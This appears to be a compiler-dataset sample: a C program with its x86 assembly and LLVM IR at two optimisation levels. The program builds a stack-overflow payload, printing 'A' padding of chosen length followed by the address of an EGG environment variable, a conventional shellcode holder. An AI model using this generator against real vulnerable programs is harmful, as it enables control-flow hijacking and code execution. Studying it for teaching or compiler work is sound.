#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int atoi(char *);
int /*<<< orphan*/ fflush(int /*<<< orphan*/);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, ...);
int /*<<< orphan*/ free(char *);
char *getenv(char *);
char *malloc(int);
int /*<<< orphan*/ memset(char *, char, int);
int /*<<< orphan*/ printf(char *, char *);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ stdin;
scalar_t__ strcmp(char *, char *);
int /*<<< orphan*/ usage(char *);
int main(int argc, char *argv[]) {
  if (argc != 2) {
    if (argc < 1) {
      usage("overflow");
    } else {
      usage(argv[0]);
    }
    return 255;
  }
  if (strcmp(argv[1], "-h") == 0) {
    usage(argv[0]);
    return 0;
  }
  char *egg = getenv("EGG");
  if (egg == NULL) {
    fprintf(stderr, "No variable $%s defined in environment\n", "EGG");
    return 1;
  }
  int egg_addr = (int)egg;
  int offset = atoi(argv[1]);
  char *buffer = malloc((offset + 4 + 1) * sizeof(char));
  if (buffer == NULL) {
    fprintf(stderr, "Error allocating space for buffer");
    return 2;
  }
  memset(buffer, 'A', offset);
  int i;
  for (i = 0; i < 4; i++) {
    buffer[offset + i] = (char)(egg_addr >> (i * 8));
  }
  buffer[offset + 4] = '\0';
  printf("%s", buffer);
  fflush(stdin);
  free(buffer);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x2,-0x8(%rbp)
je     11f3 <main+0x53>
cmpl   $0x1,-0x8(%rbp)
jge    11db <main+0x3b>
lea    0xe2f(%rip),%rdi
call   10b0 <usage@plt>
jmp    11e7 <main+0x47>
mov    -0x10(%rbp),%rax
mov    (%rax),%rdi
call   10b0 <usage@plt>
movl   $0xff,-0x4(%rbp)
jmp    1359 <main+0x1b9>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    0xe07(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    1229 <main+0x89>
mov    -0x10(%rbp),%rax
mov    (%rax),%rdi
call   10b0 <usage@plt>
movl   $0x0,-0x4(%rbp)
jmp    1359 <main+0x1b9>
lea    0xddc(%rip),%rdi
call   1030 <getenv@plt>
mov    %rax,-0x18(%rbp)
cmpq   $0x0,-0x18(%rbp)
jne    126e <main+0xce>
mov    0x2d8d(%rip),%rax
mov    (%rax),%edi
lea    0xdbc(%rip),%rsi
lea    0xdb1(%rip),%rdx
mov    $0x0,%al
call   1080 <fprintf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1359 <main+0x1b9>
mov    -0x18(%rbp),%rax
mov    %eax,-0x1c(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   10c0 <atoi@plt>
mov    %eax,-0x20(%rbp)
mov    -0x20(%rbp),%eax
add    $0x4,%eax
add    $0x1,%eax
cltq
shl    $0x0,%rax
mov    %eax,%edi
call   1090 <malloc@plt>
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
jne    12cd <main+0x12d>
mov    0x2d27(%rip),%rax
mov    (%rax),%edi
lea    0xd7e(%rip),%rsi
mov    $0x0,%al
call   1080 <fprintf@plt>
movl   $0x2,-0x4(%rbp)
jmp    1359 <main+0x1b9>
mov    -0x28(%rbp),%rdi
mov    -0x20(%rbp),%edx
mov    $0x41,%esi
call   1060 <memset@plt>
movl   $0x0,-0x2c(%rbp)
cmpl   $0x4,-0x2c(%rbp)
jge    131a <main+0x17a>
mov    -0x1c(%rbp),%eax
mov    -0x2c(%rbp),%ecx
shl    $0x3,%ecx
sar    %cl,%eax
mov    %al,%dl
mov    -0x28(%rbp),%rax
mov    -0x20(%rbp),%ecx
add    -0x2c(%rbp),%ecx
movslq %ecx,%rcx
mov    %dl,(%rax,%rcx,1)
mov    -0x2c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x2c(%rbp)
jmp    12e5 <main+0x145>
mov    -0x28(%rbp),%rax
mov    -0x20(%rbp),%ecx
add    $0x4,%ecx
movslq %ecx,%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x28(%rbp),%rsi
lea    0xd24(%rip),%rdi
call   1050 <printf@plt>
mov    0x2ca6(%rip),%rax
mov    (%rax),%edi
call   10a0 <fflush@plt>
mov    -0x28(%rbp),%rdi
call   1040 <free@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
push   %rax
mov    %rsi,%rbp
cmp    $0x2,%edi
jne    1266 <main+0xc6>
mov    0x8(%rbp),%rdi
lea    0xe4b(%rip),%rsi
call   1070 <strcmp@plt>
test   %rax,%rax
je     1270 <main+0xd0>
lea    0xe39(%rip),%rdi
call   1030 <getenv@plt>
test   %rax,%rax
je     1299 <main+0xf9>
mov    %rax,%rbx
mov    0x8(%rbp),%rdi
call   10c0 <atoi@plt>
mov    %eax,%r14d
lea    0x5(%r14),%edi
call   1090 <malloc@plt>
test   %rax,%rax
je     12be <main+0x11e>
mov    %rax,%rbp
movslq %r14d,%r15
mov    %rax,%rdi
mov    $0x41,%esi
mov    %r14d,%edx
call   1060 <memset@plt>
mov    %r15,%rcx
mov    %bl,0x0(%rbp,%r15,1)
mov    %bh,0x1(%rbp,%rcx,1)
mov    %rbx,%rax
shr    $0x10,%rax
mov    %al,0x2(%rbp,%r15,1)
shr    $0x18,%rbx
mov    %bl,0x3(%rbp,%r15,1)
movb   $0x0,0x4(%rbp,%r15,1)
lea    0xe14(%rip),%rdi
mov    %rbp,%rsi
call   1050 <printf@plt>
mov    0x2d93(%rip),%rax
mov    (%rax),%edi
call   10a0 <fflush@plt>
mov    %rbp,%rdi
call   1040 <free@plt>
jmp    1279 <main+0xd9>
test   %edi,%edi
jle    127d <main+0xdd>
mov    0x0(%rbp),%rdi
jmp    1284 <main+0xe4>
mov    0x0(%rbp),%rdi
call   10b0 <usage@plt>
xor    %eax,%eax
jmp    128e <main+0xee>
lea    0xd7c(%rip),%rdi
call   10b0 <usage@plt>
mov    $0xff,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2d38(%rip),%rax
mov    (%rax),%edi
lea    0xd67(%rip),%rsi
lea    0xd5c(%rip),%rdx
xor    %eax,%eax
call   1080 <fprintf@plt>
mov    $0x1,%eax
jmp    128e <main+0xee>
mov    0x2d13(%rip),%rax
mov    (%rax),%edi
lea    0xd6a(%rip),%rsi
xor    %eax,%eax
call   1080 <fprintf@plt>
mov    $0x2,%eax
jmp    128e <main+0xee>

LLVM IR (-O0):
@.str = [9 x i8] c"overflow\00"
@.str.1 = [3 x i8] c"-h\00"
@.str.2 = [4 x i8] c"EGG\00"
@stderr = global i32 0
@.str.3 = [40 x i8] c"No variable $%s defined in environment\0A\00"
@.str.4 = [34 x i8] c"Error allocating space for buffer\00"
@.str.5 = [3 x i8] c"%s\00"
@stdin = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i32
%8 = alloca i32
%9 = alloca i8*
%10 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%11 = load i32, i32* %4
%12 = icmp ne i32 %11, 2
br i1 %12, label %13, label %24
13: ; preds = %2
%14 = load i32, i32* %4
%15 = icmp slt i32 %14, 1
br i1 %15, label %16, label %18
16: ; preds = %13
%17 = call i32 @usage(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0))
br label %23
18: ; preds = %13
%19 = load i8**, i8*** %5
%20 = getelementptr inbounds i8*, i8** %19, i64 0
%21 = load i8*, i8** %20
%22 = call i32 @usage(i8* %21)
br label %23
23: ; preds = %18, %16
store i32 255, i32* %3
br label %95
24: ; preds = %2
%25 = load i8**, i8*** %5
%26 = getelementptr inbounds i8*, i8** %25, i64 1
%27 = load i8*, i8** %26
%28 = call i64 @strcmp(i8* %27, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0))
%29 = icmp eq i64 %28, 0
br i1 %29, label %30, label %35
30: ; preds = %24
%31 = load i8**, i8*** %5
%32 = getelementptr inbounds i8*, i8** %31, i64 0
%33 = load i8*, i8** %32
%34 = call i32 @usage(i8* %33)
store i32 0, i32* %3
br label %95
35: ; preds = %24
%36 = call i8* @getenv(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.2, i64 0, i64 0))
store i8* %36, i8** %6
%37 = load i8*, i8** %6
%38 = icmp eq i8* %37, null
br i1 %38, label %39, label %42
39: ; preds = %35
%40 = load i32, i32* @stderr
%41 = call i32 (i32, i8*, ...) @fprintf(i32 %40, i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %3
br label %95
42: ; preds = %35
%43 = load i8*, i8** %6
%44 = ptrtoint i8* %43 to i32
store i32 %44, i32* %7
%45 = load i8**, i8*** %5
%46 = getelementptr inbounds i8*, i8** %45, i64 1
%47 = load i8*, i8** %46
%48 = call i32 @atoi(i8* %47)
store i32 %48, i32* %8
%49 = load i32, i32* %8
%50 = add nsw i32 %49, 4
%51 = add nsw i32 %50, 1
%52 = sext i32 %51 to i64
%53 = mul i64 %52, 1
%54 = trunc i64 %53 to i32
%55 = call i8* @malloc(i32 %54)
store i8* %55, i8** %9
%56 = load i8*, i8** %9
%57 = icmp eq i8* %56, null
br i1 %57, label %58, label %61
58: ; preds = %42
%59 = load i32, i32* @stderr
%60 = call i32 (i32, i8*, ...) @fprintf(i32 %59, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.4, i64 0, i64 0))
store i32 2, i32* %3
br label %95
61: ; preds = %42
%62 = load i8*, i8** %9
%63 = load i32, i32* %8
%64 = call i32 @memset(i8* %62, i8 signext 65, i32 %63)
store i32 0, i32* %10
br label %65
65: ; preds = %80, %61
%66 = load i32, i32* %10
%67 = icmp slt i32 %66, 4
br i1 %67, label %68, label %83
68: ; preds = %65
%69 = load i32, i32* %7
%70 = load i32, i32* %10
%71 = mul nsw i32 %70, 8
%72 = ashr i32 %69, %71
%73 = trunc i32 %72 to i8
%74 = load i8*, i8** %9
%75 = load i32, i32* %8
%76 = load i32, i32* %10
%77 = add nsw i32 %75, %76
%78 = sext i32 %77 to i64
%79 = getelementptr inbounds i8, i8* %74, i64 %78
store i8 %73, i8* %79
br label %80
80: ; preds = %68
%81 = load i32, i32* %10
%82 = add nsw i32 %81, 1
store i32 %82, i32* %10
br label %65
83: ; preds = %65
%84 = load i8*, i8** %9
%85 = load i32, i32* %8
%86 = add nsw i32 %85, 4
%87 = sext i32 %86 to i64
%88 = getelementptr inbounds i8, i8* %84, i64 %87
store i8 0, i8* %88
%89 = load i8*, i8** %9
%90 = call i32 @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0), i8* %89)
%91 = load i32, i32* @stdin
%92 = call i32 @fflush(i32 %91)
%93 = load i8*, i8** %9
%94 = call i32 @free(i8* %93)
store i32 0, i32* %3
br label %95
95: ; preds = %83, %58, %39, %30, %23
%96 = load i32, i32* %3
ret i32 %96
}

LLVM IR (-O2):
@.str = [9 x i8] c"overflow\00"
@.str.1 = [3 x i8] c"-h\00"
@.str.2 = [4 x i8] c"EGG\00"
@stderr = global i32 0
@.str.3 = [40 x i8] c"No variable $%s defined in environment\0A\00"
@.str.4 = [34 x i8] c"Error allocating space for buffer\00"
@.str.5 = [3 x i8] c"%s\00"
@stdin = global i32 0
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = icmp eq i32 %0, 2
br i1 %3, label %11, label %4
4: ; preds = %2
%5 = icmp slt i32 %0, 1
br i1 %5, label %6, label %8
6: ; preds = %4
%7 = tail call i32 @usage(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str, i64 0, i64 0))
br label %59
8: ; preds = %4
%9 = load i8*, i8** %1
%10 = tail call i32 @usage(i8* %9)
br label %59
11: ; preds = %2
%12 = getelementptr inbounds i8*, i8** %1, i64 1
%13 = load i8*, i8** %12
%14 = tail call i64 @strcmp(i8* %13, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0))
%15 = icmp eq i64 %14, 0
br i1 %15, label %16, label %19
16: ; preds = %11
%17 = load i8*, i8** %1
%18 = tail call i32 @usage(i8* %17)
br label %59
19: ; preds = %11
%20 = tail call i8* @getenv(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.2, i64 0, i64 0))
%21 = icmp eq i8* %20, null
br i1 %21, label %22, label %25
22: ; preds = %19
%23 = load i32, i32* @stderr
%24 = tail call i32 (i32, i8*, ...) @fprintf(i32 %23, i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.2, i64 0, i64 0))
br label %59
25: ; preds = %19
%26 = ptrtoint i8* %20 to i64
%27 = load i8*, i8** %12
%28 = tail call i32 @atoi(i8* %27)
%29 = add nsw i32 %28, 5
%30 = tail call i8* @malloc(i32 %29)
%31 = icmp eq i8* %30, null
br i1 %31, label %32, label %35
32: ; preds = %25
%33 = load i32, i32* @stderr
%34 = tail call i32 (i32, i8*, ...) @fprintf(i32 %33, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.4, i64 0, i64 0))
br label %59
35: ; preds = %25
%36 = add nsw i32 %28, 4
%37 = tail call i32 @memset(i8* %30, i8 signext 65, i32 %28)
%38 = sext i32 %28 to i64
%39 = trunc i64 %26 to i8
%40 = getelementptr inbounds i8, i8* %30, i64 %38
store i8 %39, i8* %40
%41 = lshr i64 %26, 8
%42 = trunc i64 %41 to i8
%43 = add nsw i64 %38, 1
%44 = getelementptr inbounds i8, i8* %30, i64 %43
store i8 %42, i8* %44
%45 = lshr i64 %26, 16
%46 = trunc i64 %45 to i8
%47 = add nsw i64 %38, 2
%48 = getelementptr inbounds i8, i8* %30, i64 %47
store i8 %46, i8* %48
%49 = lshr i64 %26, 24
%50 = trunc i64 %49 to i8
%51 = add nsw i64 %38, 3
%52 = getelementptr inbounds i8, i8* %30, i64 %51
store i8 %50, i8* %52
%53 = sext i32 %36 to i64
%54 = getelementptr inbounds i8, i8* %30, i64 %53
store i8 0, i8* %54
%55 = tail call i32 @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0), i8* %30)
%56 = load i32, i32* @stdin
%57 = tail call i32 @fflush(i32 %56)
%58 = tail call i32 @free(i8* %30)
br label %59
59: ; preds = %22, %35, %32, %6, %8, %16
%60 = phi i32 [ 0, %16 ], [ 255, %8 ], [ 255, %6 ], [ 1, %22 ], [ 2, %32 ], [ 0, %35 ]
ret i32 %60
}